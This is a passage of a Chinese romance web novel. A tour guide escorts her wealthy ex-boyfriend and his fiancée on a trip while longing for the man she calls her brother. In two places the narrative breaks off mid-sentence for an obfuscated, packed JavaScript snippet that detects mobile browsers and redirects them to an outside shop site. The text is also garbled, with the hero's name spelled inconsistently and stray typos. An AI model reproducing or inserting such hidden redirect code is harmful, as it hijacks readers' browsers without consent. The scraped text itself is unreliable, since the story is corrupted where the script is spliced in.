想到这,姜筠有些忐忑,看了陈琏一眼,心想,都过去这么多年了,他这种人应该不会记得了吧。他后面兴许又谈了不少女朋友,而且现在还快要订婚了,怎么还会记得她以前送给他的那么廉价的手机壳。毕竟当初是他说的,分手后,会把她从大脑里一键删除。 她还在犹豫,但阿黄用手肘碰了她一下,示意她赶紧把礼物拿出来。 俞诗荞也好奇了起来,眼神里写满了期待:“是什么呀?” 第十五章 第15章第十五章 陈班的目光凝在她身上,姜筠开始汗流浃背,室内开了空调,但她后背还是泅出了汗。 不仅害怕他当场拆穿,同时也觉得尴尬。 虽然她和陈班这段关系没留下太多美好的回忆,但显然,这个手机壳出现在此时此刻,起到了一种雪上加霜的作用。 当初她还骗他这图案是她找人定制的,本来是个玩笑,但他竞然相信了,她后面也忘记和他解释,估计现在他会觉得被她耍了。 俞诗荞不知道发生了什么,猜测着说了句:“是不是以前有朋友用过,看着挺可爱的。” 陈班目光很冷,不置可否地回了三个字:“嗯,或许吧。” 话题很快岔开,这事到这里告一段落。 姜筠又开始频频看向墙上的时钟,整顿饭她精神一直高度紧绷,她期待着今天的行程可以快点结束,好让她可以喘口气。 实在太提心吊胆,好不容易等到陈班和俞诗荞起身离开,姜筠心里那根弦终于松了下来。 但走到楼下,约莫是因为时间还早,俞诗荞望向对面的商场,忽然说要去逛街买衣服。 竟然还没能结束,姜筠抹了一把汗。 陈班珊似乎看穿了她此刻的心理活动,转过头看她,嘴角噙着笑。 担心又闹出什么笑话,她连忙说:“那我和阿黄在楼下的咖啡厅等你们?” 人小两口逛街,她还是不掺和了。 “姜筠,你陪我一起嘛,"俞诗荞看向陈班,摇了摇头,“他这人很没耐心的,买衣服都不会给我意见,我自己逛没意思。” 阿黄也说:“没事,姜筠,你去吧,我在车库等你们。” 话说到了这个份上,姜筠只好应下。 进了商场,俞诗荞一直挽着她的手,俨然把她当闺蜜了,选每一件衣服都要问她的意见,反而陈班一直都没说话,电话倒是接了好几个,似乎业务繁忙,一会说法语,一会说英语的。 有这么忙吗? 陈班这幅模样让她感到陌生,姜筠想象不到这种二世祖需要忙些什么,事实上,她一直认为陈班这种人生下来就是为了享福的,那句话怎么说来着,有些人出生就是牛马,但有些人出生就在罗马。 显然,他是后者。 隔着落地窗,她看到陈班打电话的背影,有些恍惚,走了一会神。 俞诗荞碰了下她的手:“别管他,我们继续挑。”姜筠这才意识到自己走神了,连忙把注意力重新放回俞诗荞身上。 没一会,服务员手里就捧了好几件衣服,又把它们一一挂到更衣室里。 俞诗荞:“那我先进去试衣服啦,你在这等我一下。”“好。“姜筠笑着点头。 俞诗荞进去试衣服,姜筠在沙发坐下,拿起旁边的一本杂志随意翻了翻。 陈班还在外面打电话,试到第三件时,他才回来。俞诗荞在镜子前打量了一会,又转过身给她看,那衣服是经典直筒裙,纯白色,裙侧珍珠和圆章纽扣间隔镶嵌,显得高贵又优雅,像上个世纪的好莱坞女星。姜筠眼睛都亮了:“特别好看!很衬你的气质!”她眼里的惊艳不像演出来的,俞诗荞也是越看越喜欢,当即就让店员把这一件拿到柜台。 陈班仍旧什么都没说,漠不关心的模样。 随后,俞诗荞又进了更衣室,这下只有她和陈班在外面,姜筠感到有些不适。 虽然她和陈班已经什么关系都没有了,她对这个人也毫无感觉,但此时此刻,他的未婚妻就在更衣室里,而她和他单独呆在一起,总归是不太合适的。 因此,沙发陷下去的那一刻,她手里拿着的杂志都攥紧了些。 陈班就坐在她旁边,不到二十公分的距离。似乎超过了正常的陌生人的社交距离了。 店里人不少,偶尔有客人的说话声传过来,明明并不安静,可姜筠还是感到有些无所适从,空气似乎都变得稀薄。 服务员给她端来一杯柠檬水,她说了声谢谢,放到前面的茶几上,又默默坐远了些,而这会,从进门开始一直沉默的人说话了。 他问她:“手机壳你从哪里批发的?” 姜筠心里一惊,手里的杂志没拿稳,一下掉在了地上。直到这一刻,陈班终于看到姜筠的表情变了,露出了类似尴尬、惊慌、不知所措的表情。 这一整天,面对他,她坦然得像是和他什么关系都没有,仿佛她和他大学什么都没发生过。 在她的脸上,除了那谄媚的笑容,没有第二种表情。是了,她的世界里从来都只有她那个哥。 陈班又想到了那个手机壳,这是为数不多姜筠送给他的礼物,他曾以为这是她爱他的证明,原来,她逢人就送。对他用心的人他见多了,对他敷衍至此的人他还是第一次见。 陈班不由冷笑。 “听不懂你在说什么。” 姜筠决定装傻。 时间像被拉长了,一分一秒都变得漫长,她一边担心俞诗荞从更衣室里出来,一边担心陈班继续问下去。“装作不认识我,”陈斑语速平稳,语气平淡,像是在陈述一件稀松平常的事,“那还戴着我送的项链?”说完,他转过头,目光望向她 颈间的项链,眼神暗了暗。 姜筠后知后觉地反应过来,伸手摸了下脖子,心里霎时揪紧。 一整天了,她都没照过镜子,自然没有意识到有什么不妥。 不过哪怕照了镜子,她大概也不会想起来这是陈班当年送给她的。 这条项链陪了她很久,久到她忘了它是怎么来的。情侣间送礼物,大多都伴随着一段还算美好的回忆,只是那回忆刚开了个头,她就打了个寒颤,不再往下想。“怎么,你要拿回去,是吗?” 姜筠二话不说,立刻就要把脖子上的项链摘下来,只是那扣子有点难解,她焦躁得甚至想直接扯下来,好不容易解开,她把项链塞到陈班手里。 “行,那还给你。” 这话说得干脆利落。 冰凉的吊坠刮蹭着掌心,陈班难以置信地看向手里的项链,继而又看向姜筠。 她的表情仍是那么坦然,坦然得让人心里生厌。正要开口,更衣室的门打开,俞诗荞从里面走出来,姜筠立刻从座位离开,迎了上去。 而那条项链就放在他手心,陈班深呼吸了一口气,右手攥握成拳,直到尖锐的吊坠刺痛手上的每根神经,他才稍稍松开手。 姜筠在更衣室前和俞诗荞聊天。 后面几件衣服俞诗荞都不满意,最后定下来只要前三件,忽然她的目光落在了橱窗前那件白色连衣裙。“姜筠,你也去试试?这件适合你,你穿起来肯定好看。” 她已经把姜筠当成了叶招的女朋友,想着送件衣服就当是见面礼了,她和叶招平日里关系不错,以后还可以拿这事出来邀功,怎么想这买卖都不亏。 懂眼色的店员正要附和几句,姜筠连忙摇头。“不用,不用,"姜筠全身每个细胞都在抗拒,不停摆手,“真的不用,我带了好多衣服过来,而且我就只带了一个行李箱,装不下了。” “那好吧。” 俞诗荞撇撇嘴,见她实在不愿意,没再勉强。从店里出来,姜筠又陪俞诗荞逛了两家珠宝店,都是陈班刷的卡。 这两人买奢侈品,比她去超市买零食还要快,看中就拿,不带一秒的犹豫。 最后的账单数目让人咋舌,但他眼眨也不眨,仿佛那只是一串毫无意义的数字。 在姜筠的印象里,陈班似乎对女朋友很大方,当初对她也一样。 她从前不认为她是那种花男朋友的钱会感到不好意思的人,直到她看到陈琏买给她的居家拖鞋,上面标价7069块一双,那是她第一次心疼钱。 她又想起了陈班送给她的那条项链,分手后她没舍得扔,虽然她并不清楚它的价值,但想来应该不便宜。她做人原则就是这样,不管多恨这个人,超过五百块的礼物,她都要留着。 成年人没必要和钱过不去。 退一万步来说,她当时也送了他消费能力范围内的礼物了。 再者,他送的这项链还挺容易搭衣服的,她出差经常带着。 只是,她没想过会在这里遇到当初送她的人。从商场出来已经快晚上十点,俞诗荞的购物欲终于得到抑制,阿黄帮她把购物袋全放到后备箱里。送他们回到酒店,姜筠站在电梯门外和他们挥手说再见,眼看着陈班的脸一寸一寸被隔绝在电梯里,姜筠的神经这才彻底放松下来。 不管明天会发生什么,至少今天的麻烦已经告一段落了。 她想,如果这份工作是日结的话,至少今天的窝囊费已经到手了。 阿黄开车送她回到住的地方,在楼下便利店买好明天的早餐,姜筠径直回了酒店房间。 洗完澡躺在床上,大脑得以放空,忙碌了一整天,她本该好好享受这片刻的闲暇,然后睡个好觉,但人总是这样,没多久,她又忍不住开始犯贱。 一闲下来,她就不由自主地想起那个人。 在床上翻了个身,她在键盘上输入那个早已刻在心里的微信号,按下确认,温礼昂的微信名片就这么出现在手机屏幕里。 她点进他的朋友圈,定定地看了好久。 那么多年,他一直没有换过他的微信背景图片,不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323238|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说什么,做什么,都没有变过。 那是一张合照。 她和温礼昂高中的合照。 两人坐在学校的操场,双手撑在草地上,同时望向镜头,忘了是谁拍的,但温礼昂用了这张照片当背景,用了快十年。 每次她和他吵架,她都担心他会把这张照片换掉,可是没有。 一次都没有。 她望着底下的“添加到通讯录",发了一会呆。很不争气,明明下定了决心,可还是很想他,原以为不见面了就不会想了,原以为离得越远就不会想了,但没有用,一点用都没有。 可是,他有女朋友了,她必须放弃了。 情绪又掉到了谷底,直到屏幕顶端跳动着一串数字,手机不停地在她掌心震动。 这个号码,她很熟悉,因为八个小时前,也是这串号码出现在她的手机屏幕上,然后,心惊胆战的一天开始了。这么晚了,他找她干嘛? 她很想装作没看到,但现在他是尊贵的上帝,她是为他服务的牛马。 深呼吸了一口气,她按下接通键 。 “你好,陈先生,请问有什么需要帮忙的一一”她斟酌着字句客套了一番,对比起来,陈班直接了很多。 他似乎连听她把话说完的耐心心都没有,就打断了她。他在电话那头只说了两个字: “下来。” 姜筠懵了。 “什么?” 陈班又重复了一遍:“现在,下来。” 姜筠不知想到了什么,走到窗口往下看,果然陈班就站在酒店正门外,他右手还握着手机,离得远,她看不清他的表情,但直觉告诉她,肯定不会是什么好事。姜筠正色:“陈先生,您有什么事,可以在电话里说。” 陈班笑了:“你害怕什么?” “姜筠,"陈班忽然很认真地喊她的名字,紧接着他轻声笑了笑,“你不会以为我还喜欢你吧。”这笑听起来实在刺耳。 姜筠换了身衣服,气冲冲地拿上房卡下楼。下楼的时候,她还在想,自从这人出现后,她情绪都变得不稳定了,一会担惊受怕、如履薄冰,一会瞋目切齿、怒火中烧的。 连她想温礼昂的时间,都要被打断。 到了一楼,远远地,她就看到了陈班。 他还穿着傍晚那套衣服,路灯的光线描摹出他优越的五官轮廓,并在他脸上分割出明暗,高挺的鼻梁,眉目也深邃,他站在树影和路灯光线的交界点,如果此刻按下快门,会是一张足以当海报的作品。 无疑,这人有一张英俊到极致的脸,她还记得看到他的第一眼,她甚至屏住了呼吸,观赏。 曾经,除了温礼昂外,她从来没有想过能和另一个人有亲密的接触,直到被这张脸蛊惑。 她竟也会动摇。 清醒的时候,她无数次认为和他在一起是个错误。在一起的第三十三天,她就想过分手。 正当她要以他右脚进门诸如此类的原因和他提分手,可一看到那张脸,她又觉得还能再继续下去。就这样,越拖越久。 此刻,走近,她闻见他身上的香水味,和温礼昂经常用的是同一款,可用在温礼昂身上却让人觉得柔和,而他给人的感觉却是张扬。 这是截然不同的两个人。 走到他面前,姜筠低头,假装在玩手机,实则点开了手机上的录音功能,以免有诈,自从上次在工作上栽了跟头,她现在防护意识强得可怕。 陈班应该没发现,因为她刚按下录音键,他却朝她摊开了掌心。 是那条项链。 她整个人愣住,一时忘了该作何反应。 又听见他冷声说:“我还不至于做这种事,比如,问前女友拿回之前送过的礼物。” 原来是来还项链给她的。 是她想得阴暗了。 想想也是,这点钱对他来说,确实不算什么,今晚他刷的卡应该够买十条项链了。 姜筠没矫情,伸手接过,礼貌地说了声:“谢谢。”“你为什么还一一留着它?“陈班说到一半停了下来,抬眼看她,他眼底闪烁着光,“你不觉得需要和我解释一下?” 解释? 姜筠迷惑了。 她需要解释什么,他希望听到什么答案,她对他旧情难忘,自从和他分手后,她每天睹物思人,所以一直保留着他送的礼物? “你真的想知道原因?“她问。 陈班没说话,但眼睛却一直看着她。 姜筠表情认真,开口:“因为它超过五百块了,我不舍得扔。” “这就是我全部的解释。” 第十六章 第16章第十六章 次日几乎是十一点才出发的,原因是他们需要睡到自然醒。 非常简单、朴实,但又非常罕见的理由。 姜筠和阿黄两人买了杯咖啡,从十点开始就在一楼酒店大堂的沙发上坐着,阿黄甚至舒适得翘起了二郎腿。两人有一搭没一搭地聊天。 阿黄笑得满面春风:“这么算的话,我们赚了呀。”往常的客人为了节省费用,时间安排得很充实,恨不得一天跑三四个景点,有时七八点就要出发了,一直玩到晚上十点多才回酒店休息,现在每天的工作时间缩短了,但钱照付,他当然乐意。 姜筠抿了口咖啡,没吭声。 难怪当初看到行程的时候,她觉得这行程最多十三天就能跑完了,结果却预留了二十天的时间,原来是这么个意思。 她能理解阿黄的心情,如果客人里没有陈班的话,她也会感到高兴。 无由来地,她想起昨天晚上,她和陈班之间的对峙。她不知道男人是不是都会幻想分手后,前女友还对他念念不忘的戏码。 可她又觉得陈班不像是这样的人,因为他看起来不会缺女朋友。 所以,她不明白他问那句话的动机是什么。她只记得,当她把话说完,气氛一下降至冰点,他踩着地上的树影朝她走了过来,姜筠反射性地想往后退。她这下意识到了在酒店大堂的时候,她说陈班想掐她脖子是假的,因为,现在才是。 这眼神才像是要把她掐死。 他俯身,离她很近,呼吸几乎打在她的脸上,熟悉的香水味将她包围,很有侵略性。 姜筠没有躲,她想起了她的手机还在录音,万一发生什么事,这些全都是证据。 她什么都不怕。 她右手捏着手机,因为紧张,不小心按到了侧边的按钮,屏幕忽然亮了,陈班顺着她的视线看到了屏幕上不断跳动的秒表的数字。 他眉头皱得很深,额角青筋跳了跳。 “你在录音?” 她眨了眨眼,有些尴尬。 “姜筠。” 他又喊了她的名字,不过这次似乎有些咬牙切齿了。她没有怯场,仰头回他:“怎么了?我只是在保护自己。” 她下楼之前就想好了,要是陈班对她有什么越矩的举动,她有了确凿的证据后,一定要告诉他未婚妻,顺便还能拯救一段不幸的婚姻。 陈班下颌线绷紧,目光阴沉。 “很好。” 她还在等他的下文,可他什么都没说,夏天的风燥热,他胸腔上下起伏,瞳孔里流转着霓虹灯的倒影,似乎还夹杂着一丝无法消解的恨意。 姜筠还在发着呆,忽然对面的电梯门打开了。陈班和俞诗荞从电梯里走出来,两人外形条件实在太好,不少人都扭头看了过去一一 俞诗荞穿着一袭吊带波点红裙,脚踩高跟鞋,陈琏又是天生的衣架子,拉夫劳伦的白衬衫,领口微敞,经典老钱风,贵气又内敛,两人看起来像是明星要去参加什么活动,酒店前台的工作人员都忍不住多看了几眼。姜筠能想象到,她和阿黄站在他们旁边,肯定一个像司机,一个像丫鬟。 这时候,俞诗荞也发现了他们,径直走了过来。“陈先生,俞小姐,你们吃早餐了吗?” 阿黄担心酒店的早餐不合他们的胃口,便多问了句。“我和阿班已经用过餐了,"俞诗荞看了眼时间,打了个哈欠,“不早了,出发吧。” 姜筠连忙跟上,顺手把咖啡扔到了旁边的垃圾桶。今天的行程是从市区前往集麓大峡谷,中间会经过一个天然湖泊,都是瑶甘这条线路的热门景点,一到节假日都是人挤人的地方。 从市区到七仙湖相距两百公里,路途遥远,不过公路两边植被的变化也很有意思,阿黄一路讲解,但显然没有得到该有的回应。 大概姜筠是这个车上唯一认真在听的人。 俞诗荞刚补完妆,戴着墨镜闭目养神,靠在后座休息,而陈班从上车开始就一直在忙,修长的手指敲击着电脑键盘,似乎是在回复邮件,眉头微皱。 在对方发现她前,她先收回了视线。 原以为他今天会主动找她麻烦,但一直到现在,他都像是不认识她一样。 并且,中途俞诗荞找她聊天,她回过头说话,陈班也没给她一个眼神。 很好。 她终于放下心来。 这才应该是她和陈班之间的相处方式。 开了两个多小时的车,终于到了七仙湖,这会正好是下午两点,太阳最毒辣的时候,即便如此,景区里仍然围了不少人,有个旅行团的人正排着队准备进去。俞诗荞虽然做好了防晒,但这阳光太猛烈,站在湖边几分钟,她就有些受不了,担心心晒伤皮肤,让姜筠帮她随便拍了几张照片,便匆匆上了车。 而陈班甚至没有下车,盯着电脑上的股票走势图。本来预留了一个小时的游玩时间,结果这会不到二十分钟就结束了。 姜筠都感到有些不可思议,毕竞他们连七仙湖的最佳打卡点都还没去,这是小某书上最热门的景点之一,很多人都是专程来这里拍“人生照片"的。 阿黄以为是他安排的问题,觉得自己 没做好,脸上的笑容淡了些,本来沿线还有另一个薰衣草庄园的,但他选了这个天然湖,他这会懊恼是不是选错了。姜筠走过去安慰他:“不是你的问题,你别多想,是天气太热了。” 正想喊阿黄去买几瓶饮料给车里那两位解解暑,俞诗荞忽然从车上下来。 “你们是不是有什么指标?"她开门见山地问。姜筠:“什么?” 俞诗荞见两人情绪低落,兀自猜测:“我们是不是需要在里面买点特产,你们才可以拿提成?如果是的话,我去买点?” 竞然有这么善良的人。 阿黄和姜筠感动得有点说不出话。 “没有没有,我们旅行社不搞这一套的,全程费用公开透明,没有任何隐形消费项目,也不会强制您消费。”俞诗荞这才把墨镜戴上:“哦,我看你们心情不太好,还以为是因为这事儿。” 阿黄立刻摇头,露出笑容:“没有,能遇到像您这么好的客人,我们高兴还来不及呢。如果你和陈先生休息好了的话,那我们现在就去下一个行程?” “行。” 阿黄上了车,姜筠跑去前面的便利店买水,她从冰柜里随手拿了几瓶矿泉水和果汁,付了钱拎着塑料袋一路小小跑回来。 她先把水递给了俞诗荞,然后是陈班一一 当矿泉水横在他面前,键盘上修长的手指终于停下了动作,下一秒,电脑合上,陈班忽然抬头看了她一眼。有些莫名其妙。 她愣了愣,看不懂那眼神是什么意思。 刚从冰箱里取出来的矿泉水还在往外冒着水珠,那水珠沿着瓶身往下掉落,眼看就要掉到他的衬衫上。姜筠只好再次出声催促:“陈先生,您的矿泉水。”她把水又往前送了送。 陈班这才慢条斯理地伸手接了过来,只是他的食指刚好覆在她的尾指上,虽然只有短短一秒,显然只是不经意间碰到,但姜筠立刻就缩回了手。 她反应实在太大,连俞诗荞都看了过来。 “怎么了?“她问。 姜筠摇头:“没、没事。” …她似乎有点应激了。 调整好心态,姜筠坐回副驾驶座,继续前往下一个行程,陈班和俞诗荞两人仍然是零交流,车厢内安静得可怕,阿黄也不敢随意发起话题,便一直这么沉默着。一个多小时后,终于到了大峡谷。 姜筠还是第一次跑这条线,刚下车,她就被眼前的景色震撼到了。 险峻幽深,神秘壮观,水流纵横交错,远看似乎是静止的,像是雪覆在谷底,走近,才能看清底下的水流有多湍急。 都说自然的力量能治愈一切,可站在这,她想的却是这么美的风景,如果那个人也在就好了。 想到温礼昂,姜筠眼里的光悉数变暗。 “俞小姐,麻烦您站在这个位置,"片刻后,姜筠收拾好心情,指向某个地方,“对,就这里,您随便做什么动作都行,夸张一点的也可以,这个角度特别出片。”俞诗荞很信任她,配合她摆起了造型,峡谷风很大,发丝在空中飞舞,她伸手整理了一下。 这一刻的构图、光线都很好,姜筠立刻拿起相机对焦,按下快门。 俞诗荞本就长得漂亮,镜头感也好,姜筠拿着相机给她拍了半个小时,有好几张完美得像是杂志封面。显然,她也很满意,让姜筠换了个地方又给她拍了一轮。 中途,俞诗荞的手机响了,这才停止了拍摄。姜筠正要回车上休息,阿黄走到她旁边,压低声音提醒:“姜筠,你别只顾着拍俞小姐呀,也拍一下陈先生。”姜筠恍然。 刚才她太投入,都快把这人忘了,这会才后知后觉地想起来。 顺着阿黄的视线,姜筠终于看到了陈班。 风声猎猎,他逆光站在悬崖边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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阿黄提议:“要不就站这吧,这边的晚霞比较漂亮。”俞诗荞朝陈班走了过去,可站定时两人中间还隔着好一段距离,连阿黄都在想,这两人真的是情侣吗?怎么看起来那么别扭? 姜筠看着取景框,不太满意,试探性地说:“两位要不再靠近一点点?” 俞诗荞很配合,但这回虽然肩并肩挨着,姜筠还是迟迟没有按下快门。 明明外形很般配,但看起来却丝毫没有情侣的感觉。他们确实不太像是情侣来旅行的,更像是来完成任务的。 姜筠犹豫了一会,最后望向陈班,礼貌地给出专业意见:“陈先生,要不要您搂一下俞小姐的腰?或者亲一下她的脸?这样会看起来更甜蜜哦。” 往常有情侣来拍摄,肢体比较僵硬时,她也会给出这样的意见,可这次话音刚落,一直沉默的陈班,忽然扫了她一眼。 那眼神冷得让人打颤。 姜筠当作没看见,还在继续说,顺便给他一些信心:“陈先生,您相信我,我在这方面是专业的。”陈班还在看着她,他胸腔里堆积着一团郁气,脸上已是阴霾密布。 原以为他不会再对姜筠有任何期待了,但没想到她还能再刷新他的想象。 他没想到姜筠和他分手后这么拎得清,甚至比他自己还要拎得清。 为了那点破钱,她可以对他点头哈腰,谄媚地笑,可以让她为自己忙前忙后,帮他拿行李、买矿泉水、对他恭恭敬敬的,甚至还能拿起相机拍摄他和另一个女人的照片。这时,俞诗荞突然开口,她转头低声说:“阿姨让我们来培养感情的,你不配合我拍点照片发给她看,到时候怎么交代?” 陈班的目光仍然在姜筠身上。 紧接着,他的手放在俞诗荞的腰后,虚虚地靠着,两人并未接触到,但由于视觉差,从姜筠的角度看来,他在搂着俞诗荞的腰。 他想知道姜筠的反应,是不是真如她表现得那么毫不在乎。 以前聚会有女生找他搭讪,她都要吃醋的。明明他只是站在那,什么都没做,但这个错误最后推到了他身上。 她生气地说:“反正就是不行,你不许和女生说话。”陈班望向不远处的姜筠,他不相信她这次还能这么若无其事。 谁知道姜筠咔咔两声按下快门,露出满意的笑容,立刻竖起大拇指,给他点赞并鼓励: “非常好,陈先生,咱们保持这个姿势,再来一张!” 第十七章 第17章第十七章 晚上十一点,温礼昂回到公寓。 门打开,墙上的壁灯发出昏黄的光,室内一如既往的安静,只能听见微弱的电流声,还有姜筠房间门口风铃碰撞时清脆的声响。 阳台的花开得热烈,沙发上姜筠买的小猪抱枕端端正正地摆放在中间,这几日出门前,他总忍不住走过去摸摸它的头才出门上班。 像是某种既定的习惯或仪式。 客厅灯暗,许是幼时留下的习惯,他向来不喜欢太过明亮的环境,只有姜筠在家时才喜欢把室内的灯全部打开。她说这才有家的感觉。 这套公寓是在姜筠毕业那年买的,那时她刚拿到offer,而他事业刚起步,手上的流动资金不多,但他还是买下了这套公寓,因为离她上班的地方最近。 他记得刚搬进来的那天,姜筠很高兴,反复和他确认。“温礼昂,真的只有我们两个人在这住吗?”她的关注点不在价格、地段,而在“只有两个人”。“嗯。"他点头。 “那多出来的房间是给谁的?” “一个是书房,另一个是客房,还有一个房间可以用来放你的摄影作品。” 姜筠眼睛登时亮了,笑得酒窝很深。 “那我们这是同居了?” “别胡说。” 太过直白的话,他有些不知所措,视线移向别处。“我不管,反正在我看来就是同居,"姜筠仰头抱着他的手臂,笑得灿烂,“一男一女住在一个屋子,不是同居是什么?” 他说不过她,只好无奈地笑。 这天晚餐,他们是在一家五星级餐厅吃的,姜筠点了红酒,说是庆祝入住新居。 她喝了不少,离开餐厅时就醉眼朦胧的,回来的路上,她坐在后排说着说着话突然就没声了,他从后视镜里看了眼,原来是睡着了。 到了公寓楼下,他只能抱着她坐电梯上楼。还在电梯里,她就有些不安分,罔顾旁边还有其他人在,双手勾住他的脖子,呼吸打在他耳后最敏感的地方,嘴唇若有似无地来回蹭他颈间的皮肤。 他心跳过速,额角青筋跳了跳,抱住她的手攥握成拳。极力忍耐。 右上角的楼层数字在闪烁,他比任何时候都希望电梯门快点打开。 好不容易到了家,还没来得及开灯,他小心翼翼地把她放在沙发上,又扯过抱枕垫在她脑后,正要松手,忽然姜筠右手拽住他的领带,把他拉了下来。 两具身体严丝合缝地贴合在一起,香水味混杂着红酒味萦绕鼻间,让人意乱情迷。 他覆在她身上,屏住了呼吸,而她的手环在他腰间,抱得很紧。 黑暗中,他听见她带着酒气的、含糊沙哑的声音。她说:“温礼昂,我喜欢你。” 这句话像是她的口头禅,每次她抱着他时,都会说上这么一句。 “好喜欢你。” 她在他颈间蹭了蹭。 离得太近,连心脏跳动的声音都清晰可闻。许是因为没开灯,他知道她看不见他的表情,他这才嘴角弯了弯,嗯了一声,表示他听见了。 “怎么这次不和我说"我是你哥了?” 姜筠嘟嘟囔囔地问他,但似乎她也不在意他的回答。因为他还没来得及解释,她就把手探入他衬衫的下摆,柔软的手覆在他的小腹,说:“我唯一能接受喊你′哥'',你知道是在什么时候吗?” 温礼昂摇头,但那双手有逐渐往下的迹象。耳根一霎就红了,他喉结动了动。 姜筠低低地笑了声,胸腔轻颤,又凑到他耳边说:“在床上的时候。” “因为,可能会有助兴的效果。” 次日一早,温礼昂坐在餐桌前吃早餐,还是那简单的两样,金枪鱼三明治和摩卡。 他像往常一样点开了天气预报,忽然视线停顿了片刻,神色变得凝重。 看了一眼时间,他在通讯录上拨通了一个号码。接通后,阿黄的声音从听筒那边传过来。 “哥,早啊,找我有事?” “没什么事,就是看到天气预报说周末瑶甘可能会有大暴雨,那两天你开车小心些,注意路况。”阿黄忙不迭应下:“好的好的,谢谢哥提醒。我今天还没来得及看呢,刚起床没一会,正准备给客人买点吃的,不过这几天都热得快中暑了,可算是要下雨了啊。”指腹摩挲着杯身,温礼昂欲言又止,最后还是开了口。“阿筠这几日心情怎么样。” “挺好的,昨天还去玩滑草了。” 温礼昂若有所思,点了点头。 “嗯,她没有生病吧?” “没,身体好着呢。” “那就好。” 他放下心来。 “哥,你最近是不是和姜筠闹别扭啦?” 阿黄敏锐地觉察到了什么,因为这几天都没看到姜筠和他打电话,要是往常,一天能打好几个。温礼昂声音低了些:“嗯,算是吧。” “没事,肯定很快就和好了,姜筠那性格我还不知道吗,憋不住事的,"阿黄不了解情况,兀自猜测,“哥,你放心,姜筠要是遇到什么事,我会告诉你的,其实这次行程挺好的,除了客人不是特别好相处之外一一”温礼昂听出了他的言外 之意,眉头皱了皱:“她受委屈了?” “有一点点,不过姜筠心态可好了,说只要能赚到钱就行。她最近事业心太强了,说要多赚钱,还让我七月份给她多介绍点活呢。” 听到这,温礼昂放下手里喝了一半的咖啡。因为,他突然意识到, 她这么努力赚钱, 是为了尽快搬出这个家。 “姜筠,你说陈先生到底是做什么的?” 彼时,姜筠正在服务区的超市里挑选全麦面包,正专心对比着配料表有什么不同,突然阿黄问了她这么一句。她后背僵了僵,随后摇头。 “我怎么知道?” 阿黄问出这个问题,似乎也没准备要她回答,自顾自地说: “看他每天都在车上忙,好像都不用休息似的,打电话说的是什么语言,我是一句也听不懂,咱们的日子也是好起来了,都能和这种上流人士打上交道了。你说这些有钱人啊,都已经这么有钱了,还这么努力,出来旅游还要工作。对了,陈先生全名叫什么,我要不去网上搜搜,说不定还真能搜到他的新间……” 阿黄嘴说个不停,姜筠对他说的话题不感兴趣,注意力又重新放回面包的配料表上,犹豫了好一会都拿不定主意。 便利店里人来人往,姜筠恰好站在入口的位置,她侧身让别人通过,和阿黄开起玩笑:“这么好奇,要不你去问问?” 阿黄吓得眼珠子浑圆:“我哪敢呀?” 今天已经是行程的第四天了,阿黄和这位陈先生还没说上几句话。 明明他比对方年纪大了不少,但看到这位陈先生还是会莫名发怵,即便对方什么都没做,但他不自觉地就觉得他低人一等。 陈先生时常都是面无表情的,那张脸上似乎没有太多的喜怒哀乐,可那高高在上的姿态像是从小就培养出来的,压迫感实在太强了。 陈先生看他一眼,他就开始紧张吞咽口水。他还是第一次产生这种感受。 活了这二十多年,他从未如此真切地感受到那种阶级的差距,不只是穿着打扮、豪车名表,而是渗透到日常生活的每一个细节里,谈吐修养,甚至连喝的矿泉水都有讲究。 也是奇怪,他买的东西陈先生每次都不满意,但姜筠买的,好像他就没那么挑刺。 不知为什么,他总觉得姜筠好像很了解陈先生。比如刚才他下车买咖啡,他忘了问陈先生的口味,在他看来咖啡都差不多,刚要和服务员说来一杯冷萃冰咖啡,姜筠立刻阻止了他。 “他不喝冷萃的,你点这个吧。” 她指着菜单上的另一款咖啡。 那会时间紧,他来不及细细琢磨,现在想起来,是有点不对劲。 经过这几天的相处,他总觉得陈班和姜筠两人好像认识,但又觉得这一定是他的错觉。 因为,他实在想不到这两个人能有什么交集,而且这两个人一路上几乎是零交流。 今天的行程比较紧凑,要从洪河县前往特塔,回到车上,越野车驶上盘山公路,阿黄看向后视镜里陈先生的脸,这会难得他没有在工作,靠在后座闭目养神,即便眼睛紧闭,但那凌厉的五官看上去仍有种生人勿近感,在他右手边,还放着那杯喝了一半的咖啡。 俞诗荞没管陈班是不是在休息,她这会无聊得要命,频繁找姜筠聊天,忽然又望向窗外,右手支在窗沿,深深地叹气:“什么时候能下场雨?这天气热得要命,再这么下去,我都不想出门了。” “过两天应该就会下雨了,不过是大暴雨,到时候路况可能不会太好,"阿黄说完,侧过脸望向姜筠,“说起来,还是早上你哥给我打电话时说的。” 姜筠心里立刻有了异样,声音紧绷:“他打给你的?”后座的某人仍未睁开眼,但指节半屈,唇线紧抿。“是啊,你哥真的很关心你,他说看天气预报,周末那两天甘深线可能会有大暴雨,让我开车要注意点,尽量避开那些崎岖的山路。” “姜筠,原来你还有个哥哥?“俞诗荞好奇地问。“嗯。” 她点头应了声,因为不想说太多,所以只含糊地应了声。 “也在北城工作?” “是的。” 阿黄补充说道:“她哥特别优秀,毕业没多久就在北城买了房子,她和她哥现在就住在那,我可羡慕了,我在北城都拼搏多少年了,还是租房子住。” “姜小姐,和她哥感情很好?” 姜筠心里咯噔了一声。 因为这话不是俞诗荞问的,是陈班问的。 后视镜里,一直闭眼假寐的陈班不知什么时候睁开了眼睛,那双如鹰隼一样的眼睛正盯着她,她后背一凉。见陈先生难得对这个话题感兴趣,阿黄几乎是抢着回答。 